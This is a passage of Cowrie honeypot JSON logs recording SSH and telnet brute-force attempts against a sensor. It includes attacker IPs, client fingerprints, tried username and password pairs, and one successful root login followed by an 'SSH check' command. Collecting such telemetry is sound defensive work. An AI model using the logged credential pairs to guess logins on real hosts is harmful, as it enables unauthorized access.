ss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:06:12.938173Z","src_ip":"2.57.122.96","session":"15bb11c08a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root123","message":"login attempt [sol/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:06:13.253080Z","src_ip":"2.57.122.96","session":"15bb11c08a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:06:14.365340Z","src_ip":"2.57.122.96","session":"15bb11c08a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.239990234375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:06:16.857360Z","src_ip":"101.37.83.79","session":"e80bd9d61973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":36164,"dst_ip":"159.203.135.109","dst_port":23,"session":"761e7943a70a","protocol":"telnet","message":"New connection: 101.37.83.79:36164 (159.203.135.109:23) [session: 761e7943a70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:06:54.471451Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":50986,"dst_ip":"159.203.135.109","dst_port":23,"session":"f767e3d3b029","protocol":"telnet","message":"New connection: 101.37.83.79:50986 (159.203.135.109:23) [session: f767e3d3b029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:03.641906Z"}
{"eventid":"cowrie.session.closed","duration":32.29861044883728,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:26.769956Z","src_ip":"101.37.83.79","session":"761e7943a70a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47360,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf045d4e96a","protocol":"ssh","message":"New connection: 2.57.122.208:47360 (159.203.135.109:22) [session: 9bf045d4e96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:32.973122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:33.028803Z","src_ip":"2.57.122.208","session":"9bf045d4e96a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:33.120378Z","src_ip":"2.57.122.208","session":"9bf045d4e96a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:33.635677Z","src_ip":"2.57.122.208","session":"9bf045d4e96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:34.775857Z","src_ip":"2.57.122.208","session":"9bf045d4e96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.4231858253479,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:37.064974Z","src_ip":"101.37.83.79","session":"f767e3d3b029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":43714,"dst_ip":"159.203.135.109","dst_port":23,"session":"14fe474a46f6","protocol":"telnet","message":"New connection: 101.37.83.79:43714 (159.203.135.109:23) [session: 14fe474a46f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:45.149505Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":43654,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac69ca13e090","protocol":"ssh","message":"New connection: 78.128.112.74:43654 (159.203.135.109:22) [session: ac69ca13e090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:48.316738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:48.321490Z","src_ip":"78.128.112.74","session":"ac69ca13e090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:48.585840Z","src_ip":"78.128.112.74","session":"ac69ca13e090","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@123","message":"login attempt [root/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:51.051048Z","src_ip":"78.128.112.74","session":"ac69ca13e090","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:51.500682Z","src_ip":"78.128.112.74","session":"ac69ca13e090","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:51.504092Z","src_ip":"78.128.112.74","session":"ac69ca13e090","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:51.617701Z","src_ip":"78.128.112.74","session":"ac69ca13e090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:07:51.957239Z","src_ip":"78.128.112.74","session":"ac69ca13e090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":53440,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8adc9e77e28","protocol":"telnet","message":"New connection: 101.37.83.79:53440 (159.203.135.109:23) [session: c8adc9e77e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:06.734406Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58838,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf20a5e31d3","protocol":"ssh","message":"New connection: 2.57.122.208:58838 (10.17.0.5:22) [session: cdf20a5e31d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:07.755199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:07.811642Z","src_ip":"2.57.122.208","session":"cdf20a5e31d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:07.911940Z","src_ip":"2.57.122.208","session":"cdf20a5e31d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:08.526068Z","src_ip":"2.57.122.208","session":"cdf20a5e31d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:09.640105Z","src_ip":"2.57.122.208","session":"cdf20a5e31d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.55224561691284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:20.701644Z","src_ip":"101.37.83.79","session":"14fe474a46f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.953344106674194,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:39.687660Z","src_ip":"101.37.83.79","session":"c8adc9e77e28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":44070,"dst_ip":"159.203.135.109","dst_port":23,"session":"41d7fb66d2d2","protocol":"telnet","message":"New connection: 101.37.83.79:44070 (159.203.135.109:23) [session: 41d7fb66d2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:08:52.005049Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":60566,"dst_ip":"159.203.135.109","dst_port":22,"session":"84b24c05c358","protocol":"ssh","message":"New connection: 2.57.122.96:60566 (159.203.135.109:22) [session: 84b24c05c358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:12.101114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:12.149033Z","src_ip":"2.57.122.96","session":"84b24c05c358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:12.228416Z","src_ip":"2.57.122.96","session":"84b24c05c358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"4rfv$RFV","message":"login attempt [sol/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:12.636286Z","src_ip":"2.57.122.96","session":"84b24c05c358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:13.736252Z","src_ip":"2.57.122.96","session":"84b24c05c358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.37068438529968,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:25.375615Z","src_ip":"101.37.83.79","session":"41d7fb66d2d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57072,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b938ca7c99c","protocol":"ssh","message":"New connection: 2.57.122.208:57072 (159.203.135.109:22) [session: 3b938ca7c99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:52.814014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:52.820491Z","src_ip":"2.57.122.208","session":"3b938ca7c99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:52.921947Z","src_ip":"2.57.122.208","session":"3b938ca7c99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:53.361005Z","src_ip":"2.57.122.208","session":"3b938ca7c99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:54.462010Z","src_ip":"2.57.122.208","session":"3b938ca7c99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":39616,"dst_ip":"159.203.135.109","dst_port":22,"session":"c098771068a1","protocol":"ssh","message":"New connection: 138.128.241.222:39616 (159.203.135.109:22) [session: c098771068a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:58.542687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:58.547502Z","src_ip":"138.128.241.222","session":"c098771068a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:58.552377Z","src_ip":"138.128.241.222","session":"c098771068a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"time","password":"time2017!","message":"login attempt [time/time2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:58.566632Z","src_ip":"138.128.241.222","session":"c098771068a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:09:59.574465Z","src_ip":"138.128.241.222","session":"c098771068a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56440,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd9bf2e30f04","protocol":"ssh","message":"New connection: 2.57.122.208:56440 (10.17.0.5:22) [session: cd9bf2e30f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:10:27.878127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:10:27.911165Z","src_ip":"2.57.122.208","session":"cd9bf2e30f04","protocol":"ssh"}
